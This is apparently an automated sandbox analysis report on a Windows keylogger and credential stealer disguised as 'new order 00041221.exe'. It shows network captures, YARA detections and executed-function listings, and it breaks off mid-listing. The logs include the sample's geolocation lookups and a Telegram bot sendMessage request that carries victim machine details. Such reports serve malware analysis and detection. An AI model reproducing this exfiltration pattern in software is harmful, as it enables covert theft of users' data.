2024-07-26 07:03:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49714	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:19 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:19 UTC	709	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 12 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XlMHoaSH9TZgdldk%2Bymv2F1Ny60KsNGOKrSv%2BAk2WlH3IZ%2FO%2Fqo3tBw60HlRcuqccGze7EpjBIT8%2BWrVUurLBhkDz4tjaxZ%2Fs4uzkSOzNVLJcFpF347Qx2D8SOio2pCMleH7iTQU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92877b4fa9558a-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49716	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:22 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:22 UTC	703	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4h3kqlRWGDe1EdpvTckYuPvI4GC9W9zRp1UMBSH1%2Ff5MibUc5pDm4IOQQ5%2BPNrsF%2FUt2XtIQTrvrclXlH5I9U6Jr0PJFtRpYgQjt8kOejcSHmbR0MLC1G9B6QZsZyKDCVY7pQ54p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92878f188bc457-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:22 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49720	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:23 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 07:03:24 UTC	713	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 17 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ng%2BQ9Yv%2B0ZqkhX%2Fb2xHOxxW6kcsNLz%2BKt8ryjNZTZwtkH56AG7sYT06GmkPnTxp2RzGIb2Le7Gr%2BahjDiQsoe0aH528y6GQru0V%2BodvI4dq4EGlI%2BLJMrHuPqD6dWP5kzBU%2Bhrkn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9287975d62436f-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:24 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49725	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:26 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:27 UTC	705	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 19 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cs6sVnYWhBNL7IfcE7g4biaK16fO4Gw7I5ae%2B2geEMKIfcXIDghlK2mIqDc7S8CkEDAr%2BuQp3qYPnJ25uAL5bbE5YOccxdyUSBVtPIFKph%2Fieh0Sdx%2BJZ1HVYe6AdHq2hNVD4Rjs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9287a97867440e-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:27 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49726	149.154.167.220	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:27 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2027/07/2024%20/%2000:07:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-07-26 07:03:27 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 26 Jul 2024 07:03:27 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-26 07:03:27 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	1
Start time:	03:03:04
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\new order 00041221.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\new order 00041221.exe"
Imagebase:	0x280000
File size:	740'864 bytes
MD5 hash:	F0C82F395D37FA87114CA7EF075695C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:03:05
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\new order 00041221.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\new order 00041221.exe"
Imagebase:	0xbd0000
File size:	740'864 bytes
MD5 hash:	F0C82F395D37FA87114CA7EF075695C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	91.5%
Signature Coverage:	0.9%
Total number of Nodes:	328
Total number of Limit Nodes:	22

Executed Functions

Function 04DF4640 Relevance: 2.9, Instructions: 2895COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1277495288.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f52b38d7b9db2801291b7f30fae37056a597021abbd9071887eec498fdb89cd6
Instruction ID: 7f69581b325ae71894d610494a8950a317bec46c6575a3b24eee5786f326d2c2
Opcode Fuzzy Hash: f52b38d7b9db2801291b7f30fae37056a597021abbd9071887eec498fdb89cd6
Instruction Fuzzy Hash: 82531F34A00219DFDB24DF68C898A9DB7B2FF49300F568599E919AB361DB31ED81CF50

Function 04DD65D0 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1277443353.0000000004DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4dd0000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19e013944b1643865b08b84e2ac1e89da4a95a85a9ad394f690832078ef8654
Instruction ID: b767f5774f20ddf819f49059e5dd4274eeb9784a3c9461c62e79f5427202d093
Opcode Fuzzy Hash: e19e013944b1643865b08b84e2ac1e89da4a95a85a9ad394f690832078ef8654
Instruction Fuzzy Hash: BE223B34A10219CFDB24DF68D884A9DBBB2FF85314F15C1A9E409AB265DB30ED85CF90

Function 04DF75C0 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1277495288.0000000004DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4df0000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43974b95db2d4a54d115d376757c0890094ca994956a7a7327c8afc4fc37208d
Instruction ID: 6167f4e95775e911fa89ef20729b538bbeeb2c5a59145b667f95d17350633f74
Opcode Fuzzy Hash: 43974b95db2d4a54d115d376757c0890094ca994956a7a7327c8afc4fc37208d
Instruction Fuzzy Hash: 36029475B00701CFD725DF68C884AAABBB2FF89304B168569D6199B361DB31FC42CB91

Function 04C86F4C Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e2e0b5ccfe0140e1527ef72a3e4dd2acce9ea30d9924aa2ab3b99e0e834f42
Instruction ID: 41f2216d5700e054c1bf2c503a82551dd2163be7abd6cd00963873474d401a14
Opcode Fuzzy Hash: 03e2e0b5ccfe0140e1527ef72a3e4dd2acce9ea30d9924aa2ab3b99e0e834f42
Instruction Fuzzy Hash: 8AA18435E003198FCB14EFA4D8949EDBBBBFF99314F258619E415AF260EB30A945CB50

Function 04C87810 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d69cb58e4c14fb46136ac93849c8d2b53d0705b0c8df95b10238673a05d249
Instruction ID: 7cf52b27d976d6266d8d71de9fd0fb043454316b315a2aae28bc548418461e3f
Opcode Fuzzy Hash: 64d69cb58e4c14fb46136ac93849c8d2b53d0705b0c8df95b10238673a05d249
Instruction Fuzzy Hash: 0F918135E003099FCB14EFA4DC849DDBBBBFF99314F258619E415AB264EB30A945CB50

Function 06B77240 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a787b28ac42564aec65302965fb165b73768f9efc73da164a5c26a414c283ea7
Instruction ID: a2a10bba392a765dcfb30a110ead81eda2956e5f0ce6200a75a5ee4da69a7d23
Opcode Fuzzy Hash: a787b28ac42564aec65302965fb165b73768f9efc73da164a5c26a414c283ea7
Instruction Fuzzy Hash: DD6135B1D44719CFEB68CF66C8407E9BBB6BF89300F14D1EA9419A6254EB704A85CF40

Function 06B70006 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce43b2bc501ba95545fb7f9db8ff0c9f9eaa302a30b502067685940e85d61de
Instruction ID: 07dc6a8201bf8154e53d17f9418836d4ba044d368b49924671638ae092e71a97
Opcode Fuzzy Hash: 0ce43b2bc501ba95545fb7f9db8ff0c9f9eaa302a30b502067685940e85d61de
Instruction Fuzzy Hash: 0E3143B0D096888FE719CFA6C9143DEBFB6AFCA300F08C0ABD409A6265DB740945CF51

Function 06B70040 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af1995c5a74cdd87594ec218d2aac71372cbf2a1db4fccb5314942b53ff41fd
Instruction ID: 3c920edbcb4ae6c8fcf4a208507dd1aa65a86efe0b4a2c7bee3c3b62d8592718
Opcode Fuzzy Hash: 6af1995c5a74cdd87594ec218d2aac71372cbf2a1db4fccb5314942b53ff41fd
Instruction Fuzzy Hash: DA21E8B1D046189BEB58CFABC9543EEFAF7AFC8300F14C06AD419A6264DB740A45CF90

Function 04C82D49 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 04C82DD6
GetCurrentThread.KERNEL32 ref: 04C82E13
GetCurrentProcess.KERNEL32 ref: 04C82E50
GetCurrentThreadId.KERNEL32 ref: 04C82EA9

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 38a74f55583355d7edc931e8ce3dc2902a4a15ee8749027972df96e0b0221a31
Instruction ID: 9994a7072f0f616d9df05c6a378ce36cfa3e78be124af565be04ceb928f067cc
Opcode Fuzzy Hash: 38a74f55583355d7edc931e8ce3dc2902a4a15ee8749027972df96e0b0221a31
Instruction Fuzzy Hash: F65175B0D00349CFDB14DFAAC548B9EBBF2EB48305F2084AAE119A7290DB746945CF65

Function 04C82D58 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 04C82DD6
GetCurrentThread.KERNEL32 ref: 04C82E13
GetCurrentProcess.KERNEL32 ref: 04C82E50
GetCurrentThreadId.KERNEL32 ref: 04C82EA9

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9bad9e6791610dfa4555e5414dbc214d8add22dc6d1e304dd06ceed6f6f37210
Instruction ID: c856d43181d6ff538a4fb9bd4908c084e9af42a1514cff928dea37c5e21af524
Opcode Fuzzy Hash: 9bad9e6791610dfa4555e5414dbc214d8add22dc6d1e304dd06ceed6f6f37210
Instruction Fuzzy Hash: E05166B0D00309CFDB14EFAAD548B9EBBF2EB48315F20846DE119A7290DB746945CF65

Function 04C873B1 Relevance: 1.8, APIs: 1, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04C87622

Memory Dump Source

Source File: 00000001.00000002.1275971377.0000000004C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c80000_new order 00041221.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c8a41c9f75713ba63a9f6dc7fe4644aac4a1a382b9a70f0c40711b7789912e49
Instruction ID: 18bdd4fd84d1565c24a783dfb0df16a5eddf488da248e30f0e78984e98d397b8
Opcode Fuzzy Hash: c8a41c9f75713ba63a9f6dc7fe4644aac4a1a382b9a70f0c40711b7789912e49
Instruction Fuzzy Hash: 2D919EB1C0A3899FDB02CFA5C8916CDBFB1EF1A314F29819AE4549B2A2D3355847CB51

Function 06B757D4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06B75A16

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 215eba0c0362377e616ea2383d85fc95e64ed0ef26fd121534bfc49747b6d768
Instruction ID: 930ce2baa7cd8594f6dc43e253621c7fe0eb2312012aebef1854c6cd02604a35
Opcode Fuzzy Hash: 215eba0c0362377e616ea2383d85fc95e64ed0ef26fd121534bfc49747b6d768
Instruction Fuzzy Hash: 42A14CB2D00319CFEB64DF68C8417ADBBB2FF48314F1485A9E819A7284DB749985CF91

Function 06B757E0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06B75A16

Memory Dump Source

Source File: 00000001.00000002.1278448962.0000000006B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b70000_new order 00041221.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: dba425e54b61d47dfe68ca6fdcf67acb3b805828cfb84994303d59b34d3ea0f2
Instruction ID: f4ea434c9e00993a39b9f6a82eb5aa09018796a5087757c530651a8a64e32fb5
Opcode Fuzzy Hash: dba425e54b61d47dfe68ca6fdcf67acb3b805828cfb84994303d59b34d3ea0f2
Instruction Fuzzy Hash: E5914DB2D00319CFEB64DF68C8417ADBBB2FF48310F1485A9E819A7284DB759985CF91

Function 04C80A48 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 04C80C9E

Memory Dump Source

